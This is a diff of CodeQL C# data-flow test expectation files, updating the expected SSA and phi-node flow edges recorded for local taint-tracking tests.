CSharp7.cs:297:35:297:35 | access to local variable x | | CSharp7.cs:297:25:297:30 | ... < ... | CSharp7.cs:297:25:297:44 | [false] ... && ... | @@ -326,6 +323,5 @@ | CSharp7.cs:297:35:297:44 | [true] ... is ... | CSharp7.cs:297:25:297:44 | [true] ... && ... | | CSharp7.cs:297:40:297:44 | Int32 y | CSharp7.cs:297:40:297:44 | SSA def(y) | | CSharp7.cs:297:40:297:44 | SSA def(y) | CSharp7.cs:299:31:299:31 | access to local variable y | -| CSharp7.cs:297:47:297:49 | SSA def(x) | CSharp7.cs:297:47:297:49 | [input] SSA phi(x) | -| CSharp7.cs:297:47:297:49 | [input] SSA phi(x) | CSharp7.cs:297:25:297:25 | SSA phi(x) | +| CSharp7.cs:297:47:297:49 | SSA def(x) | CSharp7.cs:297:25:297:25 | access to local variable x | | CSharp7.cs:297:49:297:49 | access to local variable x | CSharp7.cs:297:47:297:49 | SSA def(x) | diff --git a/csharp/ql/test/library-tests/dataflow/local/DataFlowStep.expected b/csharp/ql/test/library-tests/dataflow/local/DataFlowStep.expected index 9e488197e7c..7dc5e3e4636 100644 --- a/csharp/ql/test/library-tests/dataflow/local/DataFlowStep.expected +++ b/csharp/ql/test/library-tests/dataflow/local/DataFlowStep.expected @@ -72,11 +72,10 @@ | LocalDataFlow.cs:88:9:88:16 | access to local variable nonSink0 | LocalDataFlow.cs:88:9:88:36 | SSA def(nonSink0) | | LocalDataFlow.cs:88:9:88:36 | SSA def(nonSink0) | LocalDataFlow.cs:89:15:89:22 | access to local variable nonSink0 | | LocalDataFlow.cs:88:20:88:36 | ... ? ... : ... | LocalDataFlow.cs:88:9:88:16 | access to local variable nonSink0 | -| LocalDataFlow.cs:88:20:88:36 | SSA phi(sink7) | LocalDataFlow.cs:92:29:92:33 | access to local variable sink7 | | LocalDataFlow.cs:88:24:88:28 | "abc" | LocalDataFlow.cs:88:20:88:36 | ... ? ... : ... | -| LocalDataFlow.cs:88:24:88:28 | [input] SSA phi(sink7) | LocalDataFlow.cs:88:20:88:36 | SSA phi(sink7) | +| LocalDataFlow.cs:88:24:88:28 | [input] SSA phi(sink7) | LocalDataFlow.cs:92:29:92:33 | access to local variable sink7 | | LocalDataFlow.cs:88:32:88:36 | "def" | LocalDataFlow.cs:88:20:88:36 | ... ? ... : ... | -| LocalDataFlow.cs:88:32:88:36 | [input] SSA phi(sink7) | LocalDataFlow.cs:88:20:88:36 | SSA phi(sink7) | +| LocalDataFlow.cs:88:32:88:36 | [input] SSA phi(sink7) | LocalDataFlow.cs:92:29:92:33 | access to local variable sink7 | | LocalDataFlow.cs:89:15:89:22 | [post] access to local variable nonSink0 | LocalDataFlow.cs:96:32:96:39 | access to local variable nonSink0 | | LocalDataFlow.cs:89:15:89:22 | access to local variable nonSink0 | LocalDataFlow.cs:96:32:96:39 | access to local variable nonSink0 | | LocalDataFlow.cs:92:13:92:17 | access to local variable sink8 | LocalDataFlow.cs:92:13:92:33 | SSA def(sink8) | @@ -480,14 +479,12 @@ | LocalDataFlow.cs:307:18:307:33 | String nonSink17 | LocalDataFlow.cs:307:18:307:33 | SSA def(nonSink17) | | LocalDataFlow.cs:313:13:313:18 | access to local variable sink73 | LocalDataFlow.cs:313:13:313:38 | SSA def(sink73) | | LocalDataFlow.cs:313:13:313:38 | SSA def(sink73) | LocalDataFlow.cs:315:15:315:20 | access to local variable sink73 | -| LocalDataFlow.cs:313:22:313:29 | [input] SSA phi read(sink0) | LocalDataFlow.cs:313:22:313:38 | SSA phi read(sink0) | +| LocalDataFlow.cs:313:22:313:29 | [input] SSA phi read(sink0) | LocalDataFlow.cs:314:22:314:26 | access to local variable sink0 | | LocalDataFlow.cs:313:22:313:29 | access to local variable nonSink0 | LocalDataFlow.cs:313:22:313:38 | ... ?? ... | | LocalDataFlow.cs:313:22:313:29 | access to local variable nonSink0 | LocalDataFlow.cs:314:31:314:38 | access to local variable nonSink0 | | LocalDataFlow.cs:313:22:313:38 | ... ?? ... | LocalDataFlow.cs:313:13:313:18 | access to local variable sink73 | -| LocalDataFlow.cs:313:22:313:38 | SSA phi read(sink0) | LocalDataFlow.cs:314:22:314:26 | access to local variable sink0 | -| LocalDataFlow.cs:313:34:313:38 | [input] SSA phi read(sink0) | LocalDataFlow.cs:313:22:313:38 | SSA phi read(sink0) | | LocalDataFlow.cs:313:34:313:38 | access to local variable sink0 | LocalDataFlow.cs:313:22:313:38 | ... ?? ... | -| LocalDataFlow.cs:313:34:313:38 | access to local variable sink0 | LocalDataFlow.cs:313:34:313:38 | [input] SSA phi read(sink0) | +| LocalDataFlow.cs:313:34:313:38 | access to local variable sink0 | LocalDataFlow.cs:314:22:314:26 | access to local variable sink0 | | LocalDataFlow.cs:314:13:314:18 | access to local variable sink74 | LocalDataFlow.cs:314:13:314:38 | SSA def(sink74) | | LocalDataFlow.cs:314:13:314:38 | SSA def(sink74) | LocalDataFlow.cs:316:15:316:20 | access to local variable sink74 | | LocalDataFlow.cs:314:22:314:26 | access to local variable sink0 | LocalDataFlow.cs:314:22:314:38 | ... ?? ... | @@ -526,12 +523,10 @@ | LocalDataFlow.cs:373:13:373:25 | SSA def(x) | LocalDataFlow.cs:374:17:374:18 | [input] SSA phi(x) | | LocalDataFlow.cs:373:13:373:25 | SSA def(x) | LocalDataFlow.cs:376:35:376:35 | access to local variable x | | LocalDataFlow.cs:373:17:373:25 | "tainted" | LocalDataFlow.cs:373:13:373:13 | access to local variable x | -| LocalDataFlow.cs:374:17:374:18 | [input] SSA phi(x) | LocalDataFlow.cs:382:9:382:17 | SSA phi(x) | +| LocalDataFlow.cs:374:17:374:18 | [input] SSA phi(x) | LocalDataFlow.cs:382:15:382:15 | access to local variable x | | LocalDataFlow.cs:381:13:381:13 | access to local variable x | LocalDataFlow.cs:381:13:381:29 | SSA def(x) | -| LocalDataFlow.cs:381:13:381:29 | SSA def(x) | LocalDataFlow.cs:381:13:381:29 | [input] SSA phi(x) | -| LocalDataFlow.cs:381:13:381:29 | [input] SSA phi(x) | LocalDataFlow.cs:382:9:382:17 | SSA phi(x) | +| LocalDataFlow.cs:381:13:381:29 | SSA def(x) | LocalDataFlow.cs:382:15:382:15 | access to local variable x | | LocalDataFlow.cs:381:17:381:29 | "not tainted" | LocalDataFlow.cs:381:13:381:13 | access to local variable x | -| LocalDataFlow.cs:382:9:382:17 | SSA phi(x) | LocalDataFlow.cs:382:15:382:15 | access to local variable x | | SSA.cs:5:17:5:17 | SSA entry def(this.S) | SSA.cs:67:9:67:14 | access to field S | | SSA.cs:5:17:5:17 | this | SSA.cs:67:9:67:12 | this access | | SSA.cs:5:26:5:32 | SSA param(tainted) | SSA.cs:8:24:8:30 | access to parameter tainted | @@ -559,47 +554,38 @@ | SSA.cs:19:13:19:20 | access to local variable nonSink0 | SSA.cs:29:13:29:33 | [input] SSA phi read(nonSink0) | | SSA.cs:19:13:19:20 | access to local variable nonSink0 | SSA.cs:30:24:30:31 | access to local variable nonSink0 | | SSA.cs:22:16:22:23 | access to local variable ssaSink1 | SSA.cs:22:16:22:28 | SSA def(ssaSink1) | -| SSA.cs:22:16:22:28 | SSA def(ssaSink1) | SSA.cs:23:13:23:33 | [input] SSA phi(ssaSink1) | +| SSA.cs:22:16:22:28 | SSA def(ssaSink1) | SSA.cs:25:15:25:22 | access to local variable ssaSink1 | | SSA.cs:22:27:22:28 | "" | SSA.cs:22:16:22:23 | access to local variable ssaSink1 | | SSA.cs:23:13:23:22 | [post] access to parameter nonTainted | SSA.cs:29:13:29:22 | access to parameter nonTainted | | SSA.cs:23:13:23:22 | access to parameter nonTainted | SSA.cs:29:13:29:22 | access to parameter nonTainted | | SSA.cs:23:13:23:33 | [input] SSA phi read(ssaSink0) | SSA.cs:25:9:25:24 | SSA phi read(ssaSink0) | -| SSA.cs:23:13:23:33 | [input] SSA phi(ssaSink1) | SSA.cs:25:9:25:24 | SSA phi(ssaSink1) | | SSA.cs:24:13:24:20 | access to local variable ssaSink1 | SSA.cs:24:13:24:31 | SSA def(ssaSink1) | -| SSA.cs:24:13:24:31 | SSA def(ssaSink1) | SSA.cs:24:13:24:31 | [input] SSA phi(ssaSink1) | -| SSA.cs:24:13:24:31 | [input] SSA phi read(ssaSink0) | SSA.cs:25:9:25:24 | SSA phi read(ssaSink0) | -| SSA.cs:24:13:24:31 | [input] SSA phi(ssaSink1) | SSA.cs:25:9:25:24 | SSA phi(ssaSink1) | +| SSA.cs:24:13:24:31 | SSA def(ssaSink1) | SSA.cs:25:15:25:22 | access to local variable ssaSink1 | | SSA.cs:24:24:24:31 | access to local variable ssaSink0 | SSA.cs:24:13:24:20 | access to local variable ssaSink1 | -| SSA.cs:24:24:24:31 | access to local variable ssaSink0 | SSA.cs:24:13:24:31 | [input] SSA phi read(ssaSink0) | +| SSA.cs:24:24:24:31 | access to local variable ssaSink0 | SSA.cs:25:9:25:24 | SSA phi read(ssaSink0) | | SSA.cs:25:9:25:24 | SSA phi read(ssaSink0) | SSA.cs:35:13:35:33 | [input] SSA phi read(ssaSink0) | | SSA.cs:25:9:25:24 | SSA phi read(ssaSink0) | SSA.cs:37:24:37:31 | access to local variable ssaSink0 | -| SSA.cs:25:9:25:24 | SSA phi(ssaSink1) | SSA.cs:25:15:25:22 | access to local variable ssaSink1 | | SSA.cs:28:16:28:23 | access to local variable nonSink1 | SSA.cs:28:16:28:28 | SSA def(nonSink1) | -| SSA.cs:28:16:28:28 | SSA def(nonSink1) | SSA.cs:29:13:29:33 | [input] SSA phi(nonSink1) | +| SSA.cs:28:16:28:28 | SSA def(nonSink1) | SSA.cs:31:15:31:22 | access to local variable nonSink1 | | SSA.cs:28:27:28:28 | "" | SSA.cs:28:16:28:23 | access to local variable nonSink1 | | SSA.cs:29:13:29:22 | [post] access to parameter nonTainted | SSA.cs:35:13:35:22 | access to parameter nonTainted | | SSA.cs:29:13:29:22 | access to parameter nonTainted | SSA.cs:35:13:35:22 | access to parameter nonTainted | | SSA.cs:29:13:29:33 | [input] SSA phi read(nonSink0) | SSA.cs:31:9:31:24 | SSA phi read(nonSink0) | -| SSA.cs:29:13:29:33 | [input] SSA phi(nonSink1) | SSA.cs:31:9:31:24 | SSA phi(nonSink1) | | SSA.cs:30:13:30:20 | access to local variable nonSink1 | SSA.cs:30:13:30:31 | SSA def(nonSink1) | -| SSA.cs:30:13:30:31 | SSA def(nonSink1) | SSA.cs:30:13:30:31 | [input] SSA phi(nonSink1) | -| SSA.cs:30:13:30:31 | [input] SSA phi read(nonSink0) | SSA.cs:31:9:31:24 | SSA phi read(nonSink0) | -| SSA.cs:30:13:30:31 | [input] SSA phi(nonSink1) | SSA.cs:31:9:31:24 | SSA phi(nonSink1) | +| SSA.cs:30:13:30:31 | SSA def(nonSink1) | SSA.cs:31:15:31:22 | access to local variable nonSink1 | | SSA.cs:30:24:30:31 | access to local variable nonSink0 | SSA.cs:30:13:30:20 | access to local variable nonSink1 | -| SSA.cs:30:24:30:31 | access to local variable nonSink0 | SSA.cs:30:13:30:31 | [input] SSA phi read(nonSink0) | +| SSA.cs:30:24:30:31 | access to local variable nonSink0 | SSA.cs:31:9:31:24 | SSA phi read(nonSink0) | | SSA.cs:31:9:31:24 | SSA phi read(nonSink0) | SSA.cs:47:13:47:33 | [input] SSA phi read(nonSink0) | | SSA.cs:31:9:31:24 | SSA phi read(nonSink0) | SSA.cs:49:24:49:31 | access to local variable nonSink0 | -| SSA.cs:31:9:31:24 | SSA phi(nonSink1) | SSA.cs:31:15:31:22 | access to local variable nonSink1 | | SSA.cs:34:16:34:23 | access to local variable ssaSink2 | SSA.cs:34:16:34:28 | SSA def(ssaSink2) | -| SSA.cs:34:16:34:28 | SSA def(ssaSink2) | SSA.cs:35:13:35:33 | [input] SSA phi(ssaSink2) | +| SSA.cs:34:16:34:28 | SSA def(ssaSink2) | SSA.cs:43:15:43:22 | access to local variable ssaSink2 | | SSA.cs:34:27:34:28 | "" | SSA.cs:34:16:34:23 | access to local variable ssaSink2 | | SSA.cs:35:13:35:22 | [post] access to parameter nonTainted | SSA.cs:35:13:35:33 | [input] SSA phi read(nonTainted) | | SSA.cs:35:13:35:22 | [post] access to parameter nonTainted | SSA.cs:38:17:38:26 | access to parameter nonTainted | | SSA.cs:35:13:35:22 | access to parameter nonTainted | SSA.cs:35:13:35:33 | [input] SSA phi read(nonTainted) | | SSA.cs:35:13:35:22 | access to parameter nonTainted | SSA.cs:38:17:38:26 | access to parameter nonTainted | -| SSA.cs:35:13:35:33 | [input] SSA phi read(nonTainted) | SSA.cs:43:9:43:24 | SSA phi read(nonTainted) | +| SSA.cs:35:13:35:33 | [input] SSA phi read(nonTainted) | SSA.cs:47:13:47:22 | access to parameter nonTainted | | SSA.cs:35:13:35:33 | [input] SSA phi read(ssaSink0) | SSA.cs:43:9:43:24 | SSA phi read(ssaSink0) | -| SSA.cs:35:13:35:33 | [input] SSA phi(ssaSink2) | SSA.cs:43:9:43:24 | SSA phi(ssaSink2) | | SSA.cs:37:13:37:20 | access to local variable ssaSink2 | SSA.cs:37:13:37:31 | SSA def(ssaSink2) | | SSA.cs:37:13:37:31 | SSA def(ssaSink2) | SSA.cs:39:21:39:28 | access to local variable ssaSink2 | | SSA.cs:37:13:37:31 | SSA def(ssaSink2) | SSA.cs:41:21:41:28 | access to local variable ssaSink2 | @@ -610,30 +596,25 @@ | SSA.cs:38:17:38:26 | [post] access to parameter nonTainted | SSA.cs:41:17:41:29 | [input] SSA phi read(nonTainted) | | SSA.cs:38:17:38:26 | access to parameter nonTainted | SSA.cs:39:17:39:29 | [input] SSA phi read(nonTainted) | | SSA.cs:38:17:38:26 | access to parameter nonTainted | SSA.cs:41:17:41:29 | [input] SSA phi read(nonTainted) | -| SSA.cs:39:17:39:29 | [input] SSA phi read(nonTainted) | SSA.cs:43:9:43:24 | SSA phi read(nonTainted) | +| SSA.cs:39:17:39:29 | [input] SSA phi read(nonTainted) | SSA.cs:47:13:47:22 | access to parameter nonTainted | | SSA.cs:39:17:39:29 | [input] SSA phi read(ssaSink0) | SSA.cs:43:9:43:24 | SSA phi read(ssaSink0) | -| SSA.cs:39:17:39:29 | [input] SSA phi(ssaSink2) | SSA.cs:43:9:43:24 | SSA phi(ssaSink2) | -| SSA.cs:39:21:39:28 | [post] access to local variable ssaSink2 | SSA.cs:39:17:39:29 | [input] SSA phi(ssaSink2) | -| SSA.cs:39:21:39:28 | access to local variable ssaSink2 | SSA.cs:39:17:39:29 | [input] SSA phi(ssaSink2) | -| SSA.cs:41:17:41:29 | [input] SSA phi read(nonTainted) | SSA.cs:43:9:43:24 | SSA phi read(nonTainted) | +| SSA.cs:39:21:39:28 | [post] access to local variable ssaSink2 | SSA.cs:43:15:43:22 | access to local variable ssaSink2 | +| SSA.cs:39:21:39:28 | access to local variable ssaSink2 | SSA.cs:43:15:43:22 | access to local variable ssaSink2 | +| SSA.cs:41:17:41:29 | [input] SSA phi read(nonTainted) | SSA.cs:47:13:47:22 | access to parameter nonTainted | | SSA.cs:41:17:41:29 | [input] SSA phi read(ssaSink0) | SSA.cs:43:9:43:24 | SSA phi read(ssaSink0) | -| SSA.cs:41:17:41:29 | [input] SSA phi(ssaSink2) | SSA.cs:43:9:43:24 | SSA phi(ssaSink2) | -| SSA.cs:41:21:41:28 | [post] access to local variable ssaSink2 | SSA.cs:41:17:41:29 | [input] SSA phi(ssaSink2) | -| SSA.cs:41:21:41:28 | access to local variable ssaSink2 | SSA.cs:41:17:41:29 | [input] SSA phi(ssaSink2) | -| SSA.cs:43:9:43:24 | SSA phi read(nonTainted) | SSA.cs:47:13:47:22 | access to parameter nonTainted | +| SSA.cs:41:21:41:28 | [post] access to local variable ssaSink2 | SSA.cs:43:15:43:22 | access to local variable ssaSink2 | +| SSA.cs:41:21:41:28 | access to local variable ssaSink2 | SSA.cs:43:15:43:22 | access to local variable ssaSink2 | | SSA.cs:43:9:43:24 | SSA phi read(ssaSink0) | SSA.cs:89:13:89:33 | [input] SSA phi read(ssaSink0) | | SSA.cs:43:9:43:24 | SSA phi read(ssaSink0) | SSA.cs:91:24:91:31 | access to local variable ssaSink0 | -| SSA.cs:43:9:43:24 | SSA phi(ssaSink2) | SSA.cs:43:15:43:22 | access to local variable ssaSink2 | | SSA.cs:46:16:46:23 | access to local variable nonSink2 | SSA.cs:46:16:46:28 | SSA def(nonSink2) | -| SSA.cs:46:16:46:28 | SSA def(nonSink2) | SSA.cs:47:13:47:33 | [input] SSA phi(nonSink2) | +| SSA.cs:46:16:46:28 | SSA def(nonSink2) | SSA.cs:55:15:55:22 | access to local variable nonSink2 | | SSA.cs:46:27:46:28 | "" | SSA.cs:46:16:46:23 | access to local variable nonSink2 | | SSA.cs:47:13:47:22 | [post] access to parameter nonTainted | SSA.cs:47:13:47:33 | [input] SSA phi read(nonTainted) | | SSA.cs:47:13:47:22 | [post] access to parameter nonTainted | SSA.cs:50:17:50:26 | access to parameter nonTainted | | SSA.cs:47:13:47:22 | access to parameter nonTainted | SSA.cs:47:13:47:33 | [input] SSA phi read(nonTainted) | | SSA.cs:47:13:47:22 | access to parameter nonTainted | SSA.cs:50:17:50:26 | access to parameter nonTainted | -| SSA.cs:47:13:47:33 | [input] SSA phi read(nonSink0) | SSA.cs:55:9:55:24 | SSA phi read(nonSink0) | -| SSA.cs:47:13:47:33 | [input] SSA phi read(nonTainted) | SSA.cs:55:9:55:24 | SSA phi read(nonTainted) | -| SSA.cs:47:13:47:33 | [input] SSA phi(nonSink2) | SSA.cs:55:9:55:24 | SSA phi(nonSink2) | +| SSA.cs:47:13:47:33 | [input] SSA phi read(nonSink0) | SSA.cs:63:23:63:30 | access to local variable nonSink0 | +| SSA.cs:47:13:47:33 | [input] SSA phi read(nonTainted) | SSA.cs:89:13:89:22 | access to parameter nonTainted | | SSA.cs:49:13:49:20 | access to local variable nonSink2 | SSA.cs:49:13:49:31 | SSA def(nonSink2) | | SSA.cs:49:13:49:31 | SSA def(nonSink2) | SSA.cs:51:21:51:28 | access to local variable nonSink2 | | SSA.cs:49:13:49:31 | SSA def(nonSink2) | SSA.cs:53:21:53:28 | access to local variable nonSink2 | @@ -644,19 +625,14 @@ | SSA.cs:50:17:50:26 | [post] access to parameter nonTainted | SSA.cs:53:17:53:29 | [input] SSA phi read(nonTainted) | | SSA.cs:50:17:50:26 | access to parameter nonTainted | SSA.cs:51:17:51:29 | [input] SSA phi read(nonTainted) | | SSA.cs:50:17:50:26 | access to parameter nonTainted | SSA.cs:53:17:53:29 | [input] SSA phi read(nonTainted) | -| SSA.cs:51:17:51:29 | [input] SSA phi read(nonSink0) | SSA.cs:55:9:55:24 | SSA phi read(nonSink0) | -| SSA.cs:51:17:51:29 | [input] SSA phi read(nonTainted) | SSA.cs:55:9:55:24 | SSA phi read(nonTainted) | -| SSA.cs:51:17:51:29 | [input] SSA phi(nonSink2) | SSA.cs:55:9:55:24 | SSA phi(nonSink2) | -| SSA.cs:51:21:51:28 | [post] access to local variable nonSink2 | SSA.cs:51:17:51:29 | [input] SSA phi(nonSink2) | -| SSA.cs:51:21:51:28 | access to local variable nonSink2 | SSA.cs:51:17:51:29 | [input] SSA phi(nonSink2) | -| SSA.cs:53:17:53:29 | [input] SSA phi read(nonSink0) | SSA.cs:55:9:55:24 | SSA phi read(nonSink0) | -| SSA.cs:53:17:53:29 | [input] SSA phi read(nonTainted) | SSA.cs:55:9:55:24 | SSA phi read(nonTainted) | -| SSA.cs:53:17:53:29 | [input] SSA phi(nonSink2) | SSA.cs:55:9:55:24 | SSA phi(nonSink2) | -| SSA.cs:53:21:53:28 | [post] access to local variable nonSink2 | SSA.cs:53:17:53:29 | [input] SSA phi(nonSink2) | -| SSA.cs:53:21:53:28 | access to local variable nonSink2 | SSA.cs:53:17:53:29 | [input] SSA phi(nonSink2) | -| SSA.cs:55:9:55:24 | SSA phi read(nonSink0) | SSA.cs:63:23:63:30 | access to local variable nonSink0 | -| SSA.cs:55:9:55:24 | SSA phi read(nonTainted) | SSA.cs:89:13:89:22 | access to parameter nonTainted | -| SSA.cs:55:9:55:24 | SSA phi(nonSink2) | SSA.cs:55:15:55:22 | access to local variable nonSink2 | +| SSA.cs:51:17:51:29 | [input] SSA phi read(nonSink0) | SSA.cs:63:23:63:30 | access to local variable nonSink0 | +| SSA.cs:51:17:51:29 | [input] SSA phi read(nonTainted) | SSA.cs:89:13:89:22 | access to parameter nonTainted | +| SSA.cs:51:21:51:28 | [post] access to local variable nonSink2 | SSA.cs:55:15:55:22 | access to local variable nonSink2 | +| SSA.cs:51:21:51:28 | access to local variable nonSink2 | SSA.cs:55:15:55:22 | access to local variable nonSink2 | +| SSA.cs:53:17:53:29 | [input] SSA phi read(nonSink0) | SSA.cs:63:23:63:30 | access to local variable nonSink0 | +| SSA.cs:53:17:53:29 | [input] SSA phi read(nonTainted) | SSA.cs:89:13:89:22 | access to parameter nonTainted | +| SSA.cs:53:21:53:28 | [post] access to local variable nonSink2 | SSA.cs:55:15:55:22 | access to local variable nonSink2 | +| SSA.cs:53:21:53:28 | access to local variable nonSink2 | SSA.cs:55:15:55:22 | access to local variable nonSink2 | | SSA.cs:58:16:58:23 | access to local variable ssaSink3 | SSA.cs:58:16:58:33 | SSA def(ssaSink3) | | SSA.cs:58:16:58:33 | SSA def(ssaSink3) | SSA.cs:59:23:59:30 | access to local variable ssaSink3 | | SSA.cs:58:27:58:33 | access to parameter tainted | SSA.cs:58:16:58:23 | access to local variable ssaSink3 | @@ -744,15 +720,14 @@ | SSA.cs:85:15:85:20 | [post] access to field S | SSA.cs:114:9:114:14 | access to field S | | SSA.cs:85:15:85:20 | access to field S | SSA.cs:114:9:114:14 | access to field S | | SSA.cs:88:16:88:23 | access to local variable ssaSink4 | SSA.cs:88:16:88:28 | SSA def(ssaSink4) | -| SSA.cs:88:16:88:28 | SSA def(ssaSink4) | SSA.cs:89:13:89:33 | [input] SSA phi(ssaSink4) | +| SSA.cs:88:16:88:28 | SSA def(ssaSink4) | SSA.cs:97:23:97:30 | access to local variable ssaSink4 | | SSA.cs:88:27:88:28 | "" | SSA.cs:88:16:88:23 | access to local variable ssaSink4 | | SSA.cs:89:13:89:22 | [post] access to parameter nonTainted | SSA.cs:89:13:89:33 | [input] SSA phi read(nonTainted) | | SSA.cs:89:13:89:22 | [post] access to parameter nonTainted | SSA.cs:92:17:92:26 | access to parameter nonTainted | | SSA.cs:89:13:89:22 | access to parameter nonTainted | SSA.cs:89:13:89:33 | [input] SSA phi read(nonTainted) | | SSA.cs:89:13:89:22 | access to parameter nonTainted | SSA.cs:92:17:92:26 | access to parameter nonTainted | -| SSA.cs:89:13:89:33 | [input] SSA phi read(nonTainted) | SSA.cs:97:9:97:32 | SSA phi read(nonTainted) | -| SSA.cs:89:13:89:33 | [input] SSA phi read(ssaSink0) | SSA.cs:97:9:97:32 | SSA phi read(ssaSink0) | -| SSA.cs:89:13:89:33 | [input] SSA phi(ssaSink4) | SSA.cs:97:9:97:32 | SSA phi(ssaSink4) | +| SSA.cs:89:13:89:33 | [input] SSA phi read(nonTainted) | SSA.cs:102:13:102:22 | access to parameter nonTainted | +| SSA.cs:89:13:89:33 | [input] SSA phi read(ssaSink0) | SSA.cs:117:36:117:43 | access to local variable ssaSink0 | | SSA.cs:91:13:91:20 | access to local variable ssaSink4 | SSA.cs:91:13:91:31 | SSA def(ssaSink4) | | SSA.cs:91:13:91:31 | SSA def(ssaSink4) | SSA.cs:93:21:93:28 | access to local variable ssaSink4 | | SSA.cs:91:13:91:31 | SSA def(ssaSink4) | SSA.cs:95:21:95:28 | access to local variable ssaSink4 | @@ -763,33 +738,27 @@ | SSA.cs:92:17:92:26 | [post] access to parameter nonTainted | SSA.cs:95:17:95:29 | [input] SSA phi read(nonTainted) | | SSA.cs:92:17:92:26 | access to parameter nonTainted | SSA.cs:93:17:93:29 | [input] SSA phi read(nonTainted) | | SSA.cs:92:17:92:26 | access to parameter nonTainted | SSA.cs:95:17:95:29 | [input] SSA phi read(nonTainted) | -| SSA.cs:93:17:93:29 | [input] SSA phi read(nonTainted) | SSA.cs:97:9:97:32 | SSA phi read(nonTainted) | -| SSA.cs:93:17:93:29 | [input] SSA phi read(ssaSink0) | SSA.cs:97:9:97:32 | SSA phi read(ssaSink0) | -| SSA.cs:93:17:93:29 | [input] SSA phi(ssaSink4) | SSA.cs:97:9:97:32 | SSA phi(ssaSink4) | -| SSA.cs:93:21:93:28 | [post] access to local variable ssaSink4 | SSA.cs:93:17:93:29 | [input] SSA phi(ssaSink4) | -| SSA.cs:93:21:93:28 | access to local variable ssaSink4 | SSA.cs:93:17:93:29 | [input] SSA phi(ssaSink4) | -| SSA.cs:95:17:95:29 | [input] SSA phi read(nonTainted) | SSA.cs:97:9:97:32 | SSA phi read(nonTainted) | -| SSA.cs:95:17:95:29 | [input] SSA phi read(ssaSink0) | SSA.cs:97:9:97:32 | SSA phi read(ssaSink0) | -| SSA.cs:95:17:95:29 | [input] SSA phi(ssaSink4) | SSA.cs:97:9:97:32 | SSA phi(ssaSink4) | -| SSA.cs:95:21:95:28 | [post] access to local variable ssaSink4 | SSA.cs:95:17:95:29 | [input] SSA phi(ssaSink4) | -| SSA.cs:95:21:95:28 | access to local variable ssaSink4 | SSA.cs:95:17:95:29 | [input] SSA phi(ssaSink4) | -| SSA.cs:97:9:97:32 | SSA phi read(nonTainted) | SSA.cs:102:13:102:22 | access to parameter nonTainted | -| SSA.cs:97:9:97:32 | SSA phi read(ssaSink0) | SSA.cs:117:36:117:43 | access to local variable ssaSink0 | -| SSA.cs:97:9:97:32 | SSA phi(ssaSink4) | SSA.cs:97:23:97:30 | access to local variable ssaSink4 | +| SSA.cs:93:17:93:29 | [input] SSA phi read(nonTainted) | SSA.cs:102:13:102:22 | access to parameter nonTainted | +| SSA.cs:93:17:93:29 | [input] SSA phi read(ssaSink0) | SSA.cs:117:36:117:43 | access to local variable ssaSink0 | +| SSA.cs:93:21:93:28 | [post] access to local variable ssaSink4 | SSA.cs:97:23:97:30 | access to local variable ssaSink4 | +| SSA.cs:93:21:93:28 | access to local variable ssaSink4 | SSA.cs:97:23:97:30 | access to local variable ssaSink4 | +| SSA.cs:95:17:95:29 | [input] SSA phi read(nonTainted) | SSA.cs:102:13:102:22 | access to parameter nonTainted | +| SSA.cs:95:17:95:29 | [input] SSA phi read(ssaSink0) | SSA.cs:117:36:117:43 | access to local variable ssaSink0 | +| SSA.cs:95:21:95:28 | [post] access to local variable ssaSink4 | SSA.cs:97:23:97:30 | access to local variable ssaSink4 | +| SSA.cs:95:21:95:28 | access to local variable ssaSink4 | SSA.cs:97:23:97:30 | access to local variable ssaSink4 | | SSA.cs:97:23:97:30 | SSA def(ssaSink4) | SSA.cs:98:15:98:22 | access to local variable ssaSink4 | | SSA.cs:97:23:97:30 | [post] access to local variable ssaSink4 | SSA.cs:97:23:97:30 | SSA def(ssaSink4) | | SSA.cs:97:23:97:30 | access to local variable ssaSink4 | SSA.cs:97:23:97:30 | SSA def(ssaSink4) | | SSA.cs:97:23:97:30 | access to local variable ssaSink4 | SSA.cs:97:23:97:30 | SSA def(ssaSink4) | | SSA.cs:101:16:101:23 | access to local variable nonSink3 | SSA.cs:101:16:101:28 | SSA def(nonSink3) | -| SSA.cs:101:16:101:28 | SSA def(nonSink3) | SSA.cs:102:13:102:33 | [input] SSA phi(nonSink3) | +| SSA.cs:101:16:101:28 | SSA def(nonSink3) | SSA.cs:110:23:110:30 | access to local variable nonSink3 | | SSA.cs:101:27:101:28 | "" | SSA.cs:101:16:101:23 | access to local variable nonSink3 | | SSA.cs:102:13:102:22 | [post] access to parameter nonTainted | SSA.cs:102:13:102:33 | [input] SSA phi read(nonTainted) | | SSA.cs:102:13:102:22 | [post] access to parameter nonTainted | SSA.cs:105:17:105:26 | access to parameter nonTainted | | SSA.cs:102:13:102:22 | access to parameter nonTainted | SSA.cs:102:13:102:33 | [input] SSA phi read(nonTainted) | | SSA.cs:102:13:102:22 | access to parameter nonTainted | SSA.cs:105:17:105:26 | access to parameter nonTainted | -| SSA.cs:102:13:102:33 | [input] SSA phi read(nonSink0) | SSA.cs:110:9:110:32 | SSA phi read(nonSink0) | -| SSA.cs:102:13:102:33 | [input] SSA phi read(nonTainted) | SSA.cs:110:9:110:32 | SSA phi read(nonTainted) | -| SSA.cs:102:13:102:33 | [input] SSA phi(nonSink3) | SSA.cs:110:9:110:32 | SSA phi(nonSink3) | +| SSA.cs:102:13:102:33 | [input] SSA phi read(nonSink0) | SSA.cs:130:39:130:46 | access to local variable nonSink0 | +| SSA.cs:102:13:102:33 | [input] SSA phi read(nonTainted) | SSA.cs:115:13:115:22 | access to parameter nonTainted | | SSA.cs:104:13:104:20 | access to local variable nonSink3 | SSA.cs:104:13:104:31 | SSA def(nonSink3) | | SSA.cs:104:13:104:31 | SSA def(nonSink3) | SSA.cs:106:21:106:28 | access to local variable nonSink3 | | SSA.cs:104:13:104:31 | SSA def(nonSink3) | SSA.cs:108:21:108:28 | access to local variable nonSink3 | @@ -800,19 +769,14 @@ | SSA.cs:105:17:105:26 | [post] access to parameter nonTainted | SSA.cs:108:17:108:29 | [input] SSA phi read(nonTainted) | | SSA.cs:105:17:105:26 | access to parameter nonTainted | SSA.cs:106:17:106:29 | [input] SSA phi read(nonTainted) | | SSA.cs:105:17:105:26 | access to parameter nonTainted | SSA.cs:108:17:108:29 | [input] SSA phi read(nonTainted) | -| SSA.cs:106:17:106:29 | [input] SSA phi read(nonSink0) | SSA.cs:110:9:110:32 | SSA phi read(nonSink0) | -| SSA.cs:106:17:106:29 | [input] SSA phi read(nonTainted) | SSA.cs:110:9:110:32 | SSA phi read(nonTainted) | -| SSA.cs:106:17:106:29 | [input] SSA phi(nonSink3) 